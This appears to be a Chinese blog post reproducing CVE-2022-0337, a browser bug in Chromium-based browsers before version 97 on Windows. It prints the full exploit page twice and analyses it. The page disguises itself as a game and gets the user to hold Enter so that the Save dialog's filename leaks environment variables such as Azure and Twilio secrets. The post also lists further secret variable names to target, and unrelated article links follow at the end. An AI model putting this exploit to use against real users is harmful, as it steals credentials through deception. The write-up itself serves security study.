前言

 前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。

 影响版本

Google Chrome版本范围92.x-96.x

Microsoft Edge版本范围92.x-96.x

Opera版本范围78.x-81.x

 复现

 在存在漏洞的浏览器F12的控制台输入payload

let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;

 但是必须要访问一个存在的html,百度首页测试

 保存后控制台输出环境变量username的值

 漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

 EXP

<html>
 <head>
   <title>
    CVE-2022-0337 System environment variables leak on Google Chrome,
    Microsoft Edge and Opera
   </title>
   <meta charset="UTF-8" />
 </head>
​
 <style>
   body {
     background: rgba(212,0,0,0.2);
     display: flex;
     justify-content: center;
     align-items: center;
     flex-direction: column;
  }
h1,
h2,
h3 {
 -webkit-text-stroke: 1px #00000050;
}
​
h1 {
 color: #d96c06;
 font-size: 36px;
}
h2 {
 color: #1ebe8e;
 font-size: 46px;
}
h3 {
 color: #c6f91f;
 font-size: 18px;
}
h2 span {
 color: #cf4848;
 font-size: 70px;
}
​
#author {
 font-size: 28px;
}
​
span {
 font-weight: 100;
}
</style>
​
 <body>
   <script>
     //how many time enter clicked in row
     let countEnter = 0;
     //is file downloaded
     let isDownloaded = false;
​
     //on page load
     window.onload = function () {
       const body = document.querySelector("body");
       const pixel = document.querySelector("#pixel");
​
       body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
       body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
​
       const randomNumber = Math.floor(Math.random() * 990) + 1;
       const filename = `f${randomNumber}.f`;
​
       //List of environment variables that hacker is interested in.
       const environmentVariables = [
         "USERNAME",
         "USERDOMAIN",
         "SESSIONNAME",
         "COMPUTERNAME",
         "KEY_VAULT_URL",
         "SECRET_NAME",
         "AZURE_TENANT_ID",
         "AZURE_CLIENT_ID",
         "AZURE_CLIENT_SECRET",
         "TWILIO_ACCOUNT_SID",
         "TWILIO_AUTH_TOKEN",
         //'TOKEN',
         //'PASSWORD'
      ];
​
       const suggestedName =
         environmentVariables.map((x) => `%${x}%`).join("@") + filename;
​
       pixel.addEventListener("click", async () => {
         //handle to get file
         const handle = await window.showSaveFilePicker({ suggestedName });
         //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
         //result from user
         const username = handle.name.split("@")[0];
​
         const userInfo = handle.name
          .replaceAll(filename, "")
          .split("@")
          .map(
            (x, i) =>
               `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
          )
          .join("<br>");
         const guessWinPath = `C:/Users/${username}`;
         document.querySelector(
           "#userInfo"
        ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
         document.querySelector("#gameover").textContent =
           "GAME OVER - Need refresh to start again";
      });
    };
​
     function clickedEnter() {
       countEnter++;
       //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
       if (countEnter > 5 && !isDownloaded) {
         pixel.click();
         //set file is downloaded
         isDownloaded = true;
      }
    }
​
     function cancelEnter() {
       //reset count enter if enter is not hold
       countEnter = 0;
    }
   </script>
   <!-- div used to click to open Save As dialog -->
   <div id="pixel"></div>
   <h3 id="userInfo"></h3>
   <h1>Super Simple Game<span>******</span></h1>
   <h2><span>**HOLD ENTER</span> for 2 seconds</h2>
   <h3 id="gameover"></h3>
 </body>
</html>

 这里选择版本

92.0.4515.159(正式版本)

 刷新页面后长按Enter键两秒即可触发payload

 分析

 分一下payload前面的49行之前内容是定义了html的样式,核心内容在

 <script>
     //how many time enter clicked in row
     let countEnter = 0;
     //is file downloaded
     let isDownloaded = false;
//on page load
 window.onload = function () {
   const body = document.querySelector("body");
   const pixel = document.querySelector("#pixel");
​
   body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
   body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
​
   const randomNumber = Math.floor(Math.random() * 990) + 1;
   const filename = `f${randomNumber}.f`;
​
   //List of environment variables that hacker is interested in.
   const environmentVariables = [
     "USERNAME",
     "USERDOMAIN",
     "SESSIONNAME",
     "COMPUTERNAME",
     "KEY_VAULT_URL",
     "SECRET_NAME",
     "AZURE_TENANT_ID",
     "AZURE_CLIENT_ID",
     "AZURE_CLIENT_SECRET",
     "TWILIO_ACCOUNT_SID",
     "TWILIO_AUTH_TOKEN",
     //'TOKEN',
     //'PASSWORD'
  ];
​
   const suggestedName =
     environmentVariables.map((x) => `%${x}%`).join("@") + filename;
​
   pixel.addEventListener("click", async () => {
     //handle to get file
     const handle = await window.showSaveFilePicker({ suggestedName });
     //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
     //result from user
     const username = handle.name.split("@")[0];
​
     const userInfo = handle.name
      .replaceAll(filename, "")
      .split("@")
      .map(
        (x, i) =>
           `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
      )
      .join("<br>");
     const guessWinPath = `C:/Users/${username}`;
     document.querySelector(
       "#userInfo"
    ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
     document.querySelector("#gameover").textContent =
       "GAME OVER - Need refresh to start again";
  });
};
​
 function clickedEnter() {
   countEnter++;
   //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
   if (countEnter > 5 && !isDownloaded) {
     pixel.click();
     //set file is downloaded
     isDownloaded = true;
  }
}
​
 function cancelEnter() {
   //reset count enter if enter is not hold
   countEnter = 0;
}
</script>

 看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义

 在63和64行定义了长按Enter键相当于触发script标签

 随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

suggestedName格式为定义的%{x}%@filename即

suggestedName=%{x}%@随机数.f

 继续向下看

 上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

 所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

 那么接下来需要思考两个问题

  • 泄露的漏洞触发的原理又在哪里

  • 能做什么呢?

 1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。

 2.因为windows中能够利用环境变量有很多,例如

AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY

 结语

 大佬毕竟是大佬呀!!!

 更多靶场实验练习、网安学习资料,请点击这里>>

有意思的CVE-2022-0337复现的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. CVE 2019-0708漏洞复现防御修复

    CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...

  3. CVE 2019-0708 漏洞复现+

    PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...

  4. 警惕!Python 中少为人知的 10 个安全陷阱!

    作者:Dennis Brinkrolf 译者:豌豆花下猫@Python猫 原题:10 Unknown Security Pitfalls for Python 英文:https://blog.sona ...

  5. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  6. VNCTF 2022 cm cm1 RE复现

    cm1 安卓逆向 JEB 直接跟进主函数找到 ASSERT里面拿到ooo文件 直接脚本解密 k = "vn2022" with open('ooo', 'rb') as f: c ...

  7. Node.js CVE-2017-1484复现(详细步骤)

    0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...

  8. Node.js CVE-2017-14849复现(详细步骤)

    0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...

  9. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

随机推荐

  1. 记录Markdown的学习

    目录 1. 引言 2. 标题 这是一级标题 这是二级标题 这是三级标题 这是四级标题 3. 文字相关 3.1 粗体 3.2 斜体 3.3 粗体和斜体 3.4 删除线 3.5 混合使用 3.6 反引号引 ...

  2. nacos底层原理

    Nacos   为什么选择NacosNacos 致力于帮助您发现.配置和管理微服务.Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现.服务配置.服务元数据及流量管理. Nacos 帮 ...

  3. 手撕代码:leetcode 309最佳买卖股票时机含冷冻期

    转载于:https://segmentfault.com/a/1190000014746613 给定一个整数数组,其中第i个元素代表了第i天的股票价格. 设计一个算法计算出最大利润.在满足以下约束条件 ...

  4. 面试问题之C++语言:mutable关键字

    转载于:https://www.cnblogs.com/xkfz007/articles/2419540.html mutable关键字 mutable的中文意思是"可变的,易变的" ...

  5. Kafka 是如何实现高吞吐率的?

    Kafka是分布式消息系统,需要处理海量的消息,Kafka的设计是把所有的消息都写入速度低容量大的硬盘,以此来换取更强的存储能力,但实际上,使用硬盘并没有带来过多的性能损失.kafka主要使用了以下几 ...

  6. JavaScript的一些实用操作(逐步添加)

    1.js代码简洁高效计时 console.time('a'); //记录时间开始 ... console.timeEnd('a'); //记录时间结束 a: 12857.81103515625ms / ...

  7. Mybatis使用拦截器自定义审计处理

    void test_save_1(@Param("relatedBookCategoryEntity") RelatedBookCategoryEntity relatedBook ...

  8. 树莓派基本配置与Docker的安装

    一.树莓派的安装 下载镜像 在 树莓派官网 https://www.raspberrypi.org/downloads/raspbian/ Win32 DiskImager,是一个把系统镜像写入SD卡 ...

  9. C++分布式系统——《开题》

    在下自大二接触编程,大二.大三刻苦涉猎编程相关书籍,自那时起爱上了 C++,C++确实极有魅力,本想从此在C++领域深钻,但是扩展技术的广度在那个算是半只脚踏入编程且已经读完了 C++ 流行书籍的阶段 ...

  10. 基于react的audio组件

    样式请自己定义哦~需要其他功能请自行添加! // 组件调用 <Audio src={src地址} id={srcID}/> audio属性 src 歌曲的路径 preload 是否在页面加 ...